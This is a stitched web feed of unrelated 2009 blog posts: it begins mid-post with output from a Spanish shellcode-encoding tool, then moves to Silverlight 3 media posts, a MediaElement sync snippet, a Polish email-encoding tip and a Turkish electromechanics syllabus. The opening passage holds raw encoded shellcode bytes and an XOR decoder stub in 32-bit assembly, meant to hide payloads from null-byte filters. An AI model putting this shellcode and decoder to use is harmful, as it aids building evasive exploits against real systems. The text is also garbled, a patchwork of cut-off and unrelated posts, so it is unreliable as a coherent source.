<p>xc5\x78\xe0\xa5\xb2\x46\xef\xc5\xf8\xfd\xef\xef\xe  f\x73\x7d\x74\x3e\x75\x68\x75\x30\x10</p>
<p>=&#62;  Moviendo shellcode codificada a sc.shellcode&#8230;</p>
<p>=&#62;  Buscando bytes nulos y saltos de linea en sc.shellcode&#8230;</p>
<p>=&#60;    \x00 encontrado con: xor 0&#215;10</p>
<p>=&#62;  Codificando Opcodes (xor 0&#215;11)&#8230;</p>
<p>=Shellcode codificada:</p>
<p>\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x  9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e  \xa6\x5b\x37\x20\xee\x20</p>
<p>\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\x  d6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1  \x9a\x51\x69\x94\xd1\x65</p>
<p>\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\x  f2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd  \xd0\xde\x1c\x10\xd6\x29</p>
<p>\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x  9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\  xc2\x9a\x15\x9a\x10\xc1\</p>
<p>x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x4  9\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\  x79\x20\x9a\x7e\x96\xee\</p>
<p>xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xe  e\x72\x7c\x75\x3f\x74\x69\x74\x31\x11</p>
<p>=&#62;  Moviendo shellcode codificada a sc.shellcode&#8230;</p>
<p>=&#62;  Buscando bytes nulos y saltos de linea en sc.shellcode&#8230;</p>
<p>=&#62;  Creando codigo fuente del stub decodificador&#8230;</p>
<p>****************10c111_decoder.asm********</p>
<p>[BITS 32]</p>
<p>global ini</p>
<p>ini:</p>
<p>jmp short sc_data</p>
<p>decode_routine:</p>
<p>pop ebx</p>
<p>xor ecx,ecx</p>
<p>mov cx, 0&#215;10c1</p>
<p>sub cx, 0&#215;1010</p>
<p>decode_loop:</p>
<p>xor byte [ebx], 0&#215;11</p>
<p>inc ebx</p>
<p>loop decode_loop</p>
<p>jmp short shellcode</p>
<p>sc_data:</p>
<p>call decode_routine</p>
<p>shellcode:</p>
<p>*****************************************</p>
<p>=Codigo del decodificador guardado en 10c111_decoder.asm</p>
<p>&#62;Proceso finalizado&#60;</td>
</tr>
</tbody>
</table>
</div>
<p><!-- END TEMPLATE: bbcode_quote -->Saludos!</p>
</div>]]></content:encoded>
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<title><![CDATA[MediaPlayer control included in Silverlight 3]]></title>
<link>http://adamkinney.wordpress.com/2009/08/19/mediaplayer-control-included-in-silverlight-3/</link>
<pubDate>Wed, 19 Aug 2009 19:54:00 +0000</pubDate>
<dc:creator>Adam Kinney</dc:creator>
<guid>http://adamkinney.wordpress.com/2009/08/19/mediaplayer-control-included-in-silverlight-3/</guid>
<description><![CDATA[For some reason I missed this until just recently, but Silverlight 3 comes with a MediaPlayer contro]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><div style="float:right;margin-left:10px;"><a title="Silverlight/Expression 3 MediaPlayer by adKinn, on Flickr" href="http://www.flickr.com/photos/adamkinney/3837855372/"><img src="http://farm4.static.flickr.com/3508/3837855372_ef9e26dbd7_o.jpg" alt="Silverlight/Expression 3 MediaPlayer" width="500" height="359" /></a></div>
<p>For some reason I missed this until just recently, but Silverlight 3 comes with a MediaPlayer control courtesy of the Expression team. If you open the Assets panel and search for media, you’ll find both the MediaElement and the MediaPlayer, which you can then draw out on the artboard like any other control.</p>
<p>The MediaPlayer is very similar to the one that ships with Expression Encoder and mirrors the default theme. There is a ton of functionality built in: Playlist, Chapters, AutoLoad, AutoPlay, Offline, Popout, Transport Controls, Progress Bar, Volume Bar, Full Screen and Closed Caption buttons.</p>
<p>The best part is, that like any other control you can just right-click on the MediaPlayer and select the “Edit Template” – &#62; “Edit A Copy…” option and you can modify the template to change the look and behavior of the MediaPlayer.</p>
<p>Another option is to reuse the different MediaPlayers available from Expression Encoder using <a href="http://timheuer.com/blog/archive/2008/11/03/use-expression-encoder-templates-in-silverlight-application.aspx">the method outlined by Tim Heuer</a>.</p>
<p>No need to start from scratch anymore.</p>
</div>]]></content:encoded>
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<title><![CDATA[Expression 3 Upgrade Offer for Visual Studio Silverlight and WPF Developers]]></title>
<link>http://theludditedeveloper.wordpress.com/2009/08/07/expression-3-upgrade-offer-for-visual-studio-silverlight-and-wpf-developers/</link>
<pubDate>Fri, 07 Aug 2009 15:00:11 +0000</pubDate>
<dc:creator>theludditedeveloper</dc:creator>
<guid>http://theludditedeveloper.wordpress.com/2009/08/07/expression-3-upgrade-offer-for-visual-studio-silverlight-and-wpf-developers/</guid>
<description><![CDATA[Expression 3 Upgrade Offer for Visual Studio Developers Like many small development shops and one ma]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><div id="attachment_160" class="wp-caption aligncenter" style="width: 410px"><a rel="attachment wp-att-160" href="http://theludditedeveloper.wordpress.com/2009/08/07/expression-3-upgrade-offer-for-visual-studio-silverlight-and-wpf-developers/expressionupgradeoffer/"><img class="size-full wp-image-160" title="ExpressionUpgradeOffer" src="http://theludditedeveloper.wordpress.com/files/2009/08/expressionupgradeoffer.jpg" alt="Expression 3 Upgrade Offer for Visual Studio Developers" width="400" height="300" /></a><p class="wp-caption-text">Expression 3 Upgrade Offer for Visual Studio Developers</p></div>
<p>Like many small development shops and one man/woman software entrepreneurs, I have a limited budget for development tools.  Currently the best value option for me is the  Visual Studio Professional with MSDN Professional subscription. However, this does not give me access to any of the expression products, which would be very useful for Silverlight and WPF projects.</p>
<p>I am particularly interested in using Expression Blend for design work; Sketchflow for customer demo&#8217;s and specs; and Expression Encoder for encoding videos for my Silverlight web pages.</p>
<p>The great news is that you can take advantage of the <a href="http://www.microsoft.com/expression/products/Upgrade.aspx" target="_blank">Expression 3 Upgrade Offer</a> if you own a licensed copy of Visual Studio 2005 or later.  The upgrade price offers developers a considerable saving on the full price alternative.</p>
</div>]]></content:encoded>
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<title><![CDATA[Cue Sinyali (Cue Tone)]]></title>
<link>http://ocansever.wordpress.com/2009/08/04/cue-sinyali-cue-tone/</link>
<pubDate>Tue, 04 Aug 2009 15:35:11 +0000</pubDate>
<dc:creator>Oguzhan Cansever</dc:creator>
<guid>http://ocansever.wordpress.com/2009/08/04/cue-sinyali-cue-tone/</guid>
<description><![CDATA[&#8220;Uyari&#8221; yada &#8220;Kontrol&#8221; amacli kullanilan bir sinyal. Aslinda ses sinyali yap]]></description>
<content:encoded><![CDATA[&#8220;Uyari&#8221; yada &#8220;Kontrol&#8221; amacli kullanilan bir sinyal. Aslinda ses sinyali yap]]></content:encoded>
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<title><![CDATA[Email Address Encoder!]]></title>
<link>http://znalezionepl.wordpress.com/2009/07/28/email-address-encoder/</link>
<pubDate>Tue, 28 Jul 2009 09:50:05 +0000</pubDate>
<dc:creator>Pan_MeTaL</dc:creator>
<guid>http://znalezionepl.wordpress.com/2009/07/28/email-address-encoder/</guid>
<description><![CDATA[Dzięki stronie www.wbwip.com/wbw/emailencoder.html możecie w banalny sposób zakodować adres e-mail w]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p style="text-align:center;"><strong>Dzięki stronie <a rel="nofollow" href="http://www.wbwip.com/wbw/emailencoder.html" target="_blank">www.wbwip.com/wbw/emailencoder.html</a> możecie w banalny sposób zakodować adres e-mail w HTML-u, dzięki czemu roboty szukające adresów mail, nie rozpoznają twojego &#8211; a co za tym idzie, nie będziesz miał spamu <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </strong></p>
<h5 style="text-align:center;"><strong><span style="color:#ff0000;"><a href="http://znalezionepl.wordpress.com/slownik/ochrona-adresu-email/" target="_self">Coś więcej o ochronie przed spamem tutaj</a> <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </span><br />
</strong></h5>
<p style="text-align:center;">
</div>]]></content:encoded>
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<title><![CDATA[Silverlight 3 Media The Complete Story with Advanced Sample]]></title>
<link>http://team.pushbomb.com/2009/07/24/silverlight_3_digital_media_complete_information_media_platform/</link>
<pubDate>Sat, 25 Jul 2009 00:04:00 +0000</pubDate>
<dc:creator>Damon Wilder Carr</dc:creator>
<guid>http://team.pushbomb.com/2009/07/24/silverlight_3_digital_media_complete_information_media_platform/</guid>
<description><![CDATA[Silverlight 3 is an amazing release but perhaps mostly for digital media. Here is the full explanati]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Silverlight 3 is an amazing release but perhaps mostly for digital media. Here is the full explanation of what is new as well as our commentary on what we are using in our new Silverlight 3 Media Platform.</p>
<p>The demo which shows off most of below (and much more including deep zoom) check out the Movie Trailer sample of our platform. This platform can be used by anyone as a site template for media, a personal app, and is fully customizable either as Expression Encoder 3 templates (no support for 2) or controls with template parts/skin exposed customizations just like Microsoft controls.</p>
<p><strong><code><span id='plh-loop-video-embed-0' class='hidden'>done</span><script type="text/javascript" src="http://v.wordpress.com/wp-content/plugins/video/swfobject2.js"></script><ins style='text-decoration:none;'>
<div class='video-player' id='x-video-0'>
<p id='video-0'></p></div></ins><script type='text/javascript'>swfobject.embedSWF('http://v.wordpress.com/wp-content/plugins/video/flvplayer.swf?ver=1.10', 'video-0', '400', '300', '9.0.115','http://v.wordpress.com/wp-content/plugins/video/expressInstall2.swf', {guid:'B04BewKm', javascriptid:'video-0', width:'400', height:'300', locksize:'no'}, {allowfullscreen: 'true', allowscriptaccess:'always', seamlesstabbing:'true', overstretch:'true'}, {'id':'video-0'});</script>
</code></strong></p>
<p align="right">
<p align="right"><a href="http://www.tangentux.com/">http://www.tangentux.com/</a></p>
<ul>
<li>
<h6>True HD video</h6>
</li>
<li>
<h6>Smooth Streaming</h6>
</li>
<li>
<h6>Go out of browser</h6>
</li>
<li>
<h6>Mac, Windows, and Linux</h6>
</li>
<li>
<h6>Millions of skilled developers to help you</h6>
</li>
<li>
<h6>Seamless Designer-Developer workflow</h6>
</li>
<li>
<h6>Monetize your assets</h6>
</li>
<li>
<h6>Silverlight DRM, Powered by PlayReady</h6>
</li>
<li>
<h6>Compatible with Windows Media DRM 10</h6>
</li>
<li>
<h6>Third Party DRM Providers</h6>
</li>
<li>
<h6>Advertising</h6>
</li>
<li>
<h6>Lower delivery costs</h6>
</li>
<li>
<h6>Internet Information Services (IIS) 7.0 Media Services</h6>
</li>
<li>
<h6>Windows Media Services 2008</h6>
</li>
<li>
<h6>Multicast Support for Silverlight</h6>
</li>
</ul>
<p><a href="http://www.tangentux.com/"></a></p>
<h4>True HD video</h4>
<p>Customers can enjoy 720/1080p true HD-quality video using H.264 (MP4/F4V) or WMV/VC-1. Use your existing Windows Media library or add support for third-party codecs.</p>
<p>Silverlight 3 now supports H.264 natively for playback of MP4 or F4V files. Silverlight also supports Windows Media Video (WMV) 9, which is Microsoft&#8217;s implementation of the Society of Motion Picture and Television Engineers (SMPTE) VC-1 codec standard. In addition to WMA and WMA Pro audio codecs, Silverlight supports MP3 audio and with Silverlight 3 supports MP4 standard AAC audio.</p>
<p>With Silverlight 3 it’s easy to add in support for managed codecs. Developers can deliver non-native Silverlight codecs via an application, and using the new Raw AV pipeline audio or video is then rendered in Silverlight.</p>
<p>Leveraging graphics processor unit (GPU) hardware acceleration, Silverlight experiences can now be delivered in true full-screen HD (720p+). The GPU can be used for windowed or full-screen video scaling enabling smoother playback.</p>
<p>Silverlight&#8217;s support for VC-1 and legacy Windows Media Video formats means that existing WMV content libraries are Silverlight-ready. Video encoded for Silverlight can be simultaneously delivered to other Windows Media compatible players on a variety of platforms and devices.</p>
<h4><a name="smooth"></a>Smooth Streaming</h4>
<p>Extend viewing times using Smooth Streaming. Adjust the quality in real-time based upon the consumer’s changing bandwidth and CPU conditions. Get minimal buffering and quick start-up time using HTTP-based adaptive streaming.</p>
<p>Smooth Streaming is a new extension for Internet Information Services (IIS) 7.0 Media Services, enabling adaptive streaming of media to Silverlight clients via HTTP.</p>
<p>Smooth Streaming dynamically detects and seamlessly switches, in real time, the video quality of a media file that a Silverlight player receives based on local bandwidth and CPU conditions. Consumers with high bandwidth connections can experience HD quality streaming while others with lower bandwidth speeds receive the appropriate stream for their connectivity, allowing consumers across the board to enjoy a compelling, uninterrupted streaming experience which leads to extended audience engagement.</p>
<p>Media companies can boost advertising and subscription revenues by using true HD (720p+) video with uninterrupted delivery to extend viewing times. By using Smooth Streaming, leverage the massive scale of existing HTTP infrastructure. Proprietary streaming networks have much fewer resources than HTTP and network congestion can limit access to popular content.</p>
<p>Live Smooth Streaming (in-beta) also enables PVR-style access and navigation to live video streams. Join events in progress and quickly seek to the beginning, rewind the highlights and enjoy the Silverlight experience in your own way.</p>
<h4><a name="goout"></a>Go out of browser</h4>
<p>Play video whether you are connected via the Web or not. Save content locally for disconnected scenarios and update when you connect.</p>
<h4><a name="macwindow"></a>Mac, Windows, and Linux</h4>
<p>When you create applications for Silverlight you’re actually creating one application that will run equally on Internet Explorer, Firefox and Safari on Windows, Mac and Linux. Silverlight on different platforms and browsers has exactly the same functionality, ensuring the same experience for all your users. Microsoft is working with Novell to offer Silverlight support for the Linux platform. The Mono Project is an open-source initiative hosted at <a href="http://www.mono-project.com/Moonlight">http://www.mono-project.com/Moonlight</a>. This is available for all major Linux distributions. Moonlight 2.0 supports C# and other Dynamic Languages, and includes controls, layout and media.</p>
<h4><a name="millions"></a>Millions of skilled developers to help you</h4>
<p>Tap into the talent pool of six million .NET developers to find the expertise you need. A vibrant ecosystem means it’s easy to find partners and pre-built components.</p>
<h4><a name="seamless"></a>Seamless Designer-Developer workflow</h4>
<p>Accelerate time to market as designers collaborate with developers using the integration between Expression Studio’s creative tools and the Visual Studio family of development tools.</p>
<p>Talk to anyone building interactive applications, and they will tell you about the promise and the frustration of user experience design. Concepts that look great in photo editing tools rarely lend themselves well to actual implementation, while tools that mash together designer and developer disciplines often fall short. In organizations lucky enough to have dedicated designers, they are often forced to spend more time on programming than on actual design. While the integration of developer and designer disciplines is increasing, it is hardly the norm. This is why Microsoft® Expression® Studio was created.</p>
<p>Whether developing applications for the desktop or the Web, the Expression products will allow designers to fully engage with developers to finally bridge the gap in the designer/developer workflow. This will bring together the best minds in design and development to create applications and sites with a focus on great User Experience (UX).</p>
<p>Expression Blend shares project format, XAML, and .NET development with Visual Studio for Designer-Developer workflow; and has added support for Silverlight. This means that the designer can work on the same project as the developer, and thus requires no re-writing of code or use of exporters or clunky add-ins. It also means that developer practices can be applied to the UI mark-up, such as diff’ing and source control.</p>
<h4><a name="monetize"></a>Monetize your assets</h4>
<p>Silverlight offers a choice of content protection techniques for subscriptions: End-user authentication, SSL, Web playlists, Silverlight DRM, and Windows Media DRM.</p>
<p>With the explosive growth in streaming online video and rich internet experiences, it’s critical to ensure your content and your business models are secure. The new peaks in online video audiences not only create a great opportunity to explore new revenue opportunities, but to also expose the challenges in managing and protecting valuable media assets. A variety of content protection schemes, including Digital Rights Management (DRM); end-user authentication and authorization; Web Playlists; and SSL ensure that content owners can fully monetize and protect their media assets.</p>
<h4><a name="drm"></a>Silverlight DRM, Powered by PlayReady</h4>
<p>Silverlight DRM, Powered by PlayReady is a content encryption technology designed and optimized to enable key Silverlight online content distribution scenarios including live streaming, on-demand streaming, progressive download, and adaptive streaming (e.g., IIS7 Smooth Streaming). Unlike simple stream or link encryption technologies (e.g., Adobe’s RTMP/e), Silverlight DRM, encrypts the video and audio in a secure wrapper ensuring content, including advertising, stays protected from server to Silverlight plug-in until it is decompressed during playback.</p>
<p>Silverlight DRM is a small, cross-platform version of the PlayReady client used exclusively by the Silverlight Web browser plug-in. Analogous to other online content services, a Silverlight service that offers protected content uses the PlayReady Server SDK (or alternatively, the WM Rights Manager 10.1 SDK) to first package (encrypt) the Windows Media Audio (WMA) and Windows Media Video (WMV) content. When a consumer then wants to play that content a license is requested and obtained from a license acquisition server that uses the PlayReady Server SDK.</p>
<p>The Silverlight plug-in includes an individualized PlayReady client acquired from an online service, hosted by Microsoft. Individualization binds the run-time client to the computer on which the client was initially installed. Every end-user is given an individualized Playready component and different certified license keys. This significantly reduces the danger of global breaks. If a specific version of a PlayReady client becomes compromised, it can be barred from acquiring licenses for new digital media files unless the latest version of the PlayReady client is downloaded that is robust against the circumvention.</p>
<h4><a name="compatible-drm"></a>Compatible with Windows Media DRM 10</h4>
<p>Silverlight DRM allows content owners to deliver their protected content using either legacy WMDRM10 or new PlayReady encryption. This enables content owners to deliver existing libraries of WMDRM10 content to Silverlight without having to re-encrypt anything and means that the same protected content can be played back in both Silverlight and Windows Media based-clients.</p>
<h4><a name="third-party-drm"></a>Third Party DRM Providers</h4>
<p>With the extensibility and openness of Silverlight, third-parties are able to build content protection solutions, extending customer choice and opening up infrastructure options.</p>
<p>SKY player in Silverlight using Silverlight DRM, Powered by PlayReady</p>
<h4><a name="instream"></a>Advertising</h4>
<p>Silverlight, approved by the Interactive Advertising Bureau (IAB), supports all leading advertising scenarios, including linear pre-rolls, post-rolls, interstitials as well as non-linear tickers, bugs and transparent overlays.</p>
<p>As the market for online advertising continues to grow, the technology powering rich media-based ads needs to be up for the challenge. Complex business needs and creative capabilities demand more than simple animation and basic tagging – which is where Silverlight comes in. Silverlight enables lightning-fast development through familiar markup and controls based on XML that, combined with integrated productivity tools such as Expression Studio and Visual Studio, helps designers and developers work better together and push the limits of interactive innovation.</p>
<p>When designers and developers work together to bring advertising ideas to life, campaigns can be more nimble, more powerful and more effective. Silverlight enables agencies and advertisers to create, launch, measure, and quickly respond to online advertising campaigns through powerful controls and fully integrated tools.</p>
<p>Benefits of Silverlight for Rich Media and In-stream Advertising</p>
<ul>
<li><strong>User Engagement </strong><br />
Silverlight powers the most compelling media experiences on the Web for rich media and in-stream advertising, offering the most effective engagement and conversion opportunities for advertisers</li>
<li><strong>Discoverability </strong><br />
Silverlight is the most discoverable rich media ad platform with superior SEO capabilities</li>
<li><strong>Analytics </strong><br />
Silverlight supports robust and complex online advertising reporting and analytics to enable effective campaign response and measurement</li>
</ul>
<p>Online campaigns created with Silverlight can be more engaging, discoverable, and accountable than with other technologies</p>
<h4>Lower delivery costs</h4>
<p>Leverage existing HTTP infrastructure and improve delivery over proprietary streaming servers. Use multicast for Intranet-based executive broadcasts and online training.</p>
<p>Windows Server helps content providers realize new levels of reliability and scalability, all with lower-cost content delivery. Windows Server represents a significant competitive edge when delivering streaming media and/or applications cross-platform and cross-device, and is already in use by most major broadcasters around the world. Windows Server now powers HTTP-based adaptive streaming via Smooth Streaming.</p>
<h4><a name="iis"></a>Internet Information Services (IIS) 7.0 Media Services</h4>
<p>IIS Media Services is the new name (previously IIS Media Pack) for the media-relevant extensions for IIS. With IIS Media Services, Microsoft is offering an integrated media delivery platform for customers interested in delivering media over HTTP-based adaptive streaming, a new hybrid technique for content delivery. IIS Media Services provides an easy to deploy and manage set of capabilities for companies interested in taking advantage of the inherent scale and availability advantages that come with using standards-based HTTP as a media delivery protocol.</p>
<p>IIS Media Services provides the fundamental features of a proprietary streaming solution: bit rate throttling, secure playlists and logging capabilities that are required for cost effectively delivering, measuring and monetizing media content. On top of these basic media delivery features, IIS Media Services offers enhanced media delivery capabilities such as on-demand and live adaptive streaming (Smooth Streaming) which makes true HD (720p+) media experiences practical as well as real-time logging and analytics capabilities for measuring and maximizing return on your media investment.</p>
<h4><a name="wms"></a>Windows Media Services 2008</h4>
<p>Windows Media Services, like all of Windows Server 2008, is significantly more secure, reliable, and robust — and it is already considered by many customers to be the best in the market for live and n-demand streaming delivery using “traditional” streaming. The latest improvements provide twice the scalability over Windows Media Services 9.0.</p>
<p>In addition to its proven scalability and reliability, Windows Media Services now supports a Server Core installation, enabling reduced footprints for fixed-function streaming server scenarios, offering embedded appliance-like performance. Additionally, a cache/proxy plug-in is built in, making it easier to configure WMS for edge network enterprise and Internet topologies. Many features of Windows Media Services that were previously available only on Windows Server Enterprise and Datacenter are now available on Windows Server Standard, and all Standard features are now also available on Windows Web Server 2008. This makes the power of Windows Media Services 2008 available to a broader set of users at a lower cost.</p>
<h4><a name="multicast"></a>Multicast Support for Silverlight</h4>
<p>Windows Media Services, together with Silverlight and a third-party open-source plug-in from QUMU, can support multicast-enabled scenarios for executive broadcasts and training scenarios behind the firewall.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Javascript Obfuscator]]></title>
<link>http://poroshkhan.wordpress.com/2009/07/24/javascript-obfuscator/</link>
<pubDate>Fri, 24 Jul 2009 18:57:15 +0000</pubDate>
<dc:creator>Nur-E-Alam Khan</dc:creator>
<guid>http://poroshkhan.wordpress.com/2009/07/24/javascript-obfuscator/</guid>
<description><![CDATA[JavaScript is scripting programming language used in millions of Web pages worldwide. This has sever]]></description>
<content:encoded><![CDATA[JavaScript is scripting programming language used in millions of Web pages worldwide. This has sever]]></content:encoded>
</item>
<item>
<title><![CDATA[Sync multiple MediaElements]]></title>
<link>http://clintonrocksmith.wordpress.com/2009/07/13/sync-multiple-mediaelements/</link>
<pubDate>Mon, 13 Jul 2009 01:19:24 +0000</pubDate>
<dc:creator>clintonrocksmith</dc:creator>
<guid>http://clintonrocksmith.wordpress.com/2009/07/13/sync-multiple-mediaelements/</guid>
<description><![CDATA[After many weeks of attempting to get multiple media elements into Sync, I&#8217;ve discovered somet]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>After many weeks of attempting to get multiple media elements into Sync, I&#8217;ve discovered something rather interesting.</p>
<p>It depends on the encoding codec that is used.</p>
<p>For example, using Expression Encoder 2, I made a music video encryption and proceeded to put the exact same video into 2 different MediaElements.</p>
<p>Then using the SpeedRatio, I speed up and slowed down the 2nd MediaElement until the MediaElement1.Postion equalled the same as MediaElement2.Position.</p>
<p>BUT, while the video was in perfect sync (and I mean perfect), the audio was out by 200 milliseconds or 5 frames (at 25fps, PAL).</p>
<p>What I had found out was that Microsoft MediaElement works fine with 1 element but not with 2. There is an overhead with decoding the VC-1 media stream.</p>
<p>I then re-encoded the SAME videoclip as a MPEG2 stream, that was Constant Bit rate, and was faced with another problem&#8230;. it doesn&#8217;t work with SpeedRatio.</p>
<p>However, the seeking of the Position timespan is much more accurate. So the code went like this:-</p>
<p>C#<br />
// Make 2nd = the 1st position<br />
MediaElement2.Position = MediaElement1.Position;<br />
while (MediaElement2.IsBuffering) ;<br />
Thread.Sleep(100);</p>
<p>// Now look at the delay (the time taken to buffer)</p>
<p>t1 = MediaElement1.Position.TotalMilliseconds;<br />
t2 = MediaElement2.Position.TotalMilliseconds;</p>
<p>delay = t1 &#8211; t2;</p>
<p>MediaElement2.Position = MediaElement1.Position + delay;</p>
<p>THEN Presto, instantly in sync. Excellent.</p>
<p>The delay in buffering needs to be accounted for. I am yet to discover which other codecs and settings would be ideal for using this method.</p>
<p>I am toying with the idea of building an engine that will keep seperate audio and video content in Synchronized perfection instead of having the audio and video encoded in the single stream.</p>
<p>Enjoy.</p>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Elektromekanik Dersinin Amacı ve Konuları]]></title>
<link>http://erayonler.wordpress.com/2009/07/12/elektromekanik-dersinin-amaci-ve-konulari/</link>
<pubDate>Sun, 12 Jul 2009 18:23:30 +0000</pubDate>
<dc:creator>erayonler</dc:creator>
<guid>http://erayonler.wordpress.com/2009/07/12/elektromekanik-dersinin-amaci-ve-konulari/</guid>
<description><![CDATA[PROGRAMIN ADI MAKİNE PROGRAMI DERSİN ADI ELEKTRO-MEKANİK (S) DERSİN İŞLENECEĞİ YARIYIL 2. Yıl, IV. Y]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><strong>PROGRAMIN ADI       </strong>MAKİNE PROGRAMI                      </p>
<p><strong>DERSİN ADI           </strong>ELEKTRO-MEKANİK (S)                  </p>
<p><strong>DERSİN İŞLENECEĞİ YARIYIL            </strong>2. Yıl, IV. Yarıyıl   </p>
<p><strong>HAFTALIK DERS SAATİ          </strong>2 (Teori: 1, Uygulama: 1, Kredi: 2)    </p>
<p><strong>DERSİN SÜRESİ</strong>          28 Saat      </p>
<p><strong>AMAÇLAR: </strong>  </p>
<p>1.      Makine sanayinde kullanılan elektrik motorları, sınır anahtarları, amplifikatörler, güç kaynaklarının genel özelliklerini kavrayabilme.</p>
<p>2.      Hız, konum, basınç, kuvvet ve sıcaklık ölçümünde kullanılan ölçüm ve gösterge cihazlarını tanıyabilme.</p>
<p><strong>ÖZEL AÇIKLAMALAR</strong></p>
<p>Elektro-mekanik dersinin amacı makine sanayinde en çok kullanılan elektrik tahrikli elemanların genel özelliklerini kavratmak ve kullanım yerlerini öğretmektir.</p>
<p>Teorik anlatımdan sonra atölye ve laboratuvarda uygulama yaptırılması öğrencinin konuyu daha iyi anlamasını sağlayacaktır. Elektrik, elektronik ve kontrol sistemleri teknolojisi programlarından yardım alınması tavsiye edilmektedir.</p>
<p><strong>DEĞERLENDİRME TABLOSU</strong></p>
<p>Ders A ve B olmak üzere iki ana bölümden oluşmaktadır. A bölümünde genel elektriksel kavramlar, motorlar ve yardımcı elemanlar anlatılmaktadır. B bölümünde ise hız, kuvvet, sıcaklık vb. fiziksel büyüklüklerin dijital olarak ölçümüne yer verilmiştir.</p>
<p><strong>KONULAR KONU ALAN AĞIRLIKLARI (%)</strong></p>
<p>A. Elektrikli Tahrik Elemanları  60</p>
<p>B. Dijital Ölçüm Cihazları  40</p>
<p><strong>KONULAR</strong></p>
<p>A. Elektrikli Tahrik Elemanları</p>
<p><strong>AMAÇ:</strong> Makine sanayinde kullanılan elektrik-elektronik cihazların makine ile olan ilişkisini kavrayabilme.</p>
<p><strong>DAVRANIŞLAR:</strong></p>
<p>1.      Basit bir masa üstü CNC torna tezgahının şeması üzerinde bulunan temel elektrik/elektronik elemanları (motorları, switchler, enkoder, ölçüm elemanlarını) tanımlar.</p>
<p>2.      Makine ve elektrik/elektronik sistemlerin blok diyagramlarını çizer.</p>
<p>3.      Alternatif akım ve doğru akım güç kaynaklarını ve özelliklerini tanımlar.</p>
<p>4.      Akım, gerilim farkı ve güç arasındaki ilişkiyi kurar.</p>
<p>5.      Güç kaynağını akım ve gerilim farkı değerlerine göre seçer.</p>
<p>6.      Transformatörleri gerilimi düzenleyen bir cihaz olduğunu açıklar.</p>
<p>7.      Seri ve paralel bağlı devrelerde akım ve gerilim farkı değişimini açıklar.</p>
<p>8.      Makine sanayinde kullanılan alternatif akım, doğru akım ve adım motorların özelliklerini tanımlar.</p>
<p>9.      Doğru ve adım motorların denetiminde yardımcı eleman olarak kullanılan amplifikatör (yükseltici)’lerin vazifesini açıklar. </p>
<p>1.      Bir DC ve adım motoru laboratuvar ortamında uygun güç kaynağı ve amplifikatör kullanarak çalıştırır.</p>
<p>2.      DC veya adım motorla tahrik edilen vidalı mekanizmada eksen üzerinde başlangıç ve sınır düğmelerinin vazifesini açıklar.</p>
<p>3.      Mekanik, optik, magnetik sınır düğmelerinin genel özelliklerini tanımlar.</p>
<p>4.      DC ve adım motorların hızını ve konumunu denetleyen kartlarının özelliklerini açıklar.</p>
<p>5.      Alternatif akım motorların hızının ve torkunun frekans inverterler ile denetimini açıklar.</p>
<p>6.      Elektrikli devrede sigortanın aşırı akımı önleyen bir eleman olduğunu bilir ve bir sistem için sigorta seçimi yapar.</p>
<p>7.      İletkenlerin kesit alanı ile içinden geçen akım arasındaki ilişkiyi kurar.</p>
<p>8.      Elektro-hidrolik ve elektro-pnömatik sistemlerdeki selenoid kumandalı valfin sınır düğmelerine bağlı çalışmasını açıklar.</p>
<p>9.      Hidrolik veya pnömatik sistemde kullanılan selenoid valfle pistonun veya motorun hareket doğrultusunun denetimini açıklar.</p>
<p>10.  Hidrolik sistemde elektrik motorunun ve selenoid valflerin elektrik bağlantısını yapar.</p>
<p>11.  Oransal ve servo valfler için elektrik güç kaynağı seçer.</p>
<p>12.  Oransal ve servo valflerin denetiminde piston hidrolik motor hareketinin valf ile ilişkisini açıklar.</p>
<p>13.  Bir elektrikli ısıtıcının çalışmasını açıklar, güç hesabını yapar.</p>
<p><strong>B. Dijital Ölçüm Cihazları</strong> </p>
<p><strong>AMAÇ:</strong> Makine sanayinde analog ve sayısal ölçüm cihazlarının özelliklerini kavrayabilme.</p>
<p><strong>DAVRANIŞLAR:</strong></p>
<p>1.      Bir bilgisayar denetim tezgahında (CNC) tezgahında kullanılan konum ve hız ölçümünde kullanılan mutlak ve artmalı enkoderlerin çalışmasını açıklar.</p>
<p>2.      Doğrusal hızın ölçümünde kullanılan doğrusal cetvellerin çalışmasını açıklar ve bir piston üzerinde doğrusal hızın ölçümünü yapar.</p>
<p>3.      Sıcaklık ölçümünde kullanılan dirençli sıcaklık ölçer (PT 100 vb.), ısıl çift (termokapıl) ve pirometrelerin kullanım alanlarını bilir.</p>
<p>4.      Bir tav fırını için uygun sıcaklık ölçüm cihazını sipariş eder.</p>
<p>5.      Basınç ölçümünde kullanılan basınç algılayıcısının (transmitterlerinin) çalışma sistemini açıklar.</p>
<p>6.      Kuvvet ölçümünde kullanılan gerinim ölçme (Stain gauge) veya yük hücresi (load cell) cihazlarının çalışma sistemlerini açıklar.</p>
<p>7.      Dijital ölçüm aletlerinin (basınç, kuvvet, hız vb.) değerlerini gözlemlemek için uygun özelliklerde dijital gösterge kullanır.</p>
<p>8.      Dijital ölçüm ve gösterge cihazları için uygun özelliklerde doğru akım kaynağı seçer.</p>
